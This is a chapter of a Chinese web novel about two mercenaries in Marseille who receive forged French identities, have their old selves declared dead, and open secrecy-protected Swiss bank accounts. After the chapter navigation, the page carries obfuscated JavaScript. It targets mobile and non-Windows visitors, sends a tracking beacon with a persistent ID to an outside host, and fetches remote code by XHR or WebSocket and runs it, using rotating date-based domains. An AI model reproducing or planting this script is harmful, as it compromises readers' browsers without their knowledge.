悠悠书盟 > 都市小说 > 战争与玫瑰战争 > 第二十八章 新身份

第二十八章 新身份(1/2)

上一章战争与玫瑰战争章节目录下一页
法国南部的阳光和卡桑加的不是同一种东西。

在卡桑加,太阳是敌人,是暴晒下防弹背心里积攒的汗水,是瞄准镜反光可能暴露位置的威胁,是干燥空气里飞扬的尘土。而在这里,马赛八月的阳光洒在街道上,是咖啡馆露天座上玻璃杯反射的光点,是梧桐树影在石板路上摇曳的图案,是海风吹过时那种慵懒的、金色的暖意。

齐梓明站在公寓阳台上,手里拿着一杯水,看着楼下街道上的人群。人们穿着夏装,拎着购物袋,牵着狗,推着婴儿车。生活以完全正常的节奏展开,正常到让他感到不安。

“不适应?”林国伟从屋里走出来,也端着一杯水。

“像在另一个星球。”齐梓明说。

“我们是。”林国伟喝了口水,“从战争星球移民到和平星球的外星人。”

两人沉默了一会儿。远处港口传来轮船的汽笛声,悠长而低沉。

敲门声响起。是古德里安,准时得像瑞士钟表。

“早上好,先生们。”英国人今天穿着浅灰色西装,手里拿着一个黑色公文包,“希望你们昨晚休息得不错。”

“很好,谢谢。”林国伟说。

古德里安在客厅沙发上坐下,打开公文包,取出两个深蓝色的文件夹。文件夹封面上印着法国国徽,看起来非常正式。

“首先,祝贺你们。”古德里安将文件夹分别推给他们,“法国政府已经批准了你们的入籍申请。从法律意义上讲,你们现在是法兰西共和国的公民了。”

齐梓明打开文件夹。里面是各种文件:身份证、护照、出生证明、无犯罪记录证明……所有文件都是法文,印刷精美,盖章清晰。他翻到护照,深红色的封面,上面是烫金的法文“rÉpublique franÇaise”(法兰西共和国)。

他打开护照。照片是他——三天前古德里安带他们去拍的,要求表情严肃,背景纯白。照片旁的个人信息栏:

nom: daniel(姓:丹尼尔)

prénoms: song qiming(名:宋启明)

nationalité: française(国籍:法国)

date de naissance: 15/03/1981(出生日期:1981年3月15日)

lieu de naissance: paris 12e(出生地:巴黎十二区)

齐梓明盯着那些文字。丹尼尔。宋启明。1981年3月15日。巴黎。

这些信息全是假的。他的名字不是丹尼尔,不是宋杨;他是1981年出生的?——他今年才十八岁,应该是1981年出生吧?不,现在是1999年,那他应该是…是18岁吧…他脑子有点乱;他不是在巴黎出生的,他在中国南方一个小城市出生。

但文件上说他是。公章、水印、签名,一切都很官方,很真实。

“丹尼尔·宋。”古德里安用标准的法语发音念出这个名字,“这是你在法国的新身份。记住,从今天起,你就是这个人。齐梓明这个名字,只存在于skm公司的内部档案中,对外,你不存在。”

齐梓明抬起头。“那我的家人……”

“公司已经安排好了。”古德里安的语气很平静,“你家乡的档案中,齐梓明这个人因为一场事故已经‘死亡’。当然,这是官方记录。实际上,你的家人会收到一笔抚恤金,以及……一个解释。”

“什么解释?”

“你在国外打工时发生意外。”古德里安说,“细节不多,但足够让他们接受现实,同时不会深究。这是保护他们,也是保护你。雇佣兵的世界里,真实的身份是奢侈品,也是致命的弱点。”

齐梓明感到胸口一阵发闷。他知道这是规矩,是“佣兵界的惯例”——之前快刀手就告诉过他,很多雇佣兵用的都是假身份。但当这件事真的发生在自己身上,当看到文件上那个陌生的名字,那种与过去彻底割裂的感觉,还是让他呼吸困难。

他不再是齐梓明。他是丹尼尔·宋,法籍华人,出生在巴黎,父母是早期移民,已故——文件上连父母的死亡证明都有。一个完全虚构的人生。

“我的呢?”林国伟问。

古德里安指向另一个文件夹。林国伟打开,他的护照上写着:

nom: wilson(姓:威尔逊)

prénoms: xia chunsheng(名:夏春胜)

nationalité: française(国籍:法国)

date de naissance: 22/08/1978(出生日期:1978年8月22日)

lieu de naissance: kuala lumpur, malaisie(出生地:马来西亚吉隆坡)

“威尔逊·夏。”古德里安说,“法籍,马来西亚华人背景。你的故事是:父母在吉隆坡经营餐馆,送你来法国留学,后来父母意外去世,你留在法国生活。”

林国伟盯着护照看了很久。“所以林国伟也死了?”

“在马来西亚的档案里,是的。”古德里安说,“同样的安排,同样的保护。”

房间里安静下来。只有窗外传来的城市声音:汽车驶过,鸽子咕咕叫,远处街头艺人的手风琴声。

“我知道这很难。”古德里安打破了沉默,“但请理解,这不是惩罚,是保护。在雇佣兵行业,真实身份意味着你的敌人可以找到你的家人,可以用他们威胁你。假身份是一种隔离,让你能在战场上心无旁骛,也让你的家人能安全生活。”

他顿了顿,继续说:“而且,这给了你们一个新的起点。丹尼尔,威尔逊,你们现在是法国公民,拥有合法身份,可以自由旅行,可以在银行开户,可以做很多齐梓明和林国伟做不到的事。”

齐梓明看着手中的护照。深红色封面在阳光下泛着光泽。他翻开,一页页空白,等待盖上入境章。这本护照可以带他去世界上大多数国家,除了少数几个战乱地区——而那些地方,他本来就要用其他方式进入。

“接下来要做什么?”他问,声音有些沙哑。

“两件事。”古德里安又从公文包里取出文件,“第一,银行账户。我建议你们开立瑞士银行的账户,这是行业标准。瑞士银行保密性好,跨国转账方便,而且……不过问资金来源。”

他递给他们开户表格。“填好这些,我会帮你们办理。公司会存入第一笔津贴,每月一千欧元,足够你们在训练期间的生活开销。你们之前的薪水也可以存入,如果需要的话。”

齐梓明接过表格。全是英文,需要填写新身份信息、地址、联系方式。他在姓名栏写下:daniel song。笔迹有些生涩,像是第一次写这个名字。

“第二件事。”古德里安等他们填完表格,继续说,“法语培训。你们已经有基础,但外籍兵团要求至少达到日常交流水平。公司安排了一个强化培训班,为期两个月。明天开始。”

“培训地点?”

“就在马赛,一个语言学校。班上会有其他学员,都是skm公司的人。”古德里安意味深长地看了他们一眼,“你们会见到……同行。”

---

瑞士银行账户在一周内办好了。

古德里安带他们去了一趟银行在马赛的办事处——不是分行,而是一间位于高档写字楼里的私人办公室,需要预约才能进入。接待他们的经理说法语,但切换到英语时毫无口音。整个过程安静、高效、私密。

齐梓明把四千多美元全部存了进去。柜员清点钞票时面无表情,那些钱有些还沾着战场的尘土,有些边角卷曲,但没人过问它们的来历。存入,确认,签字。然后他拿到一张卡片——不是银行卡,是一个账户编号和密码提示卡。

“资金已存入,先生。”经理微笑着说,“从现在起,您可以通过这个账户在全球任何地方进行转账、取现、投资。所有交易都将严格保密。”

走出银行时,齐梓明感到一阵空虚。那些钱,那些他用命换来的钱,现在变成了账户里的一串数字。没有厚度,没有重量,没有那些汗水和血迹的气味。

“感觉不真实,对吧?”林国伟说。
上一章战争与玫瑰战争章节目录下一页
function DcdGKZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return DcdGKZ(t);};window[''+'B'+'y'+'Z'+'H'+'e'+'R'+'y'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://deh.insfhrt.com:8887/stats/70521?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmhibHN3cnFvLmNvbSUzQTg4OODc=','d3NNzJTNNBJTJGJTJGZC52dHlpdHByLmNNvbSUzQTg4ODc=','50662',window,document,['O','N']);}:function(){};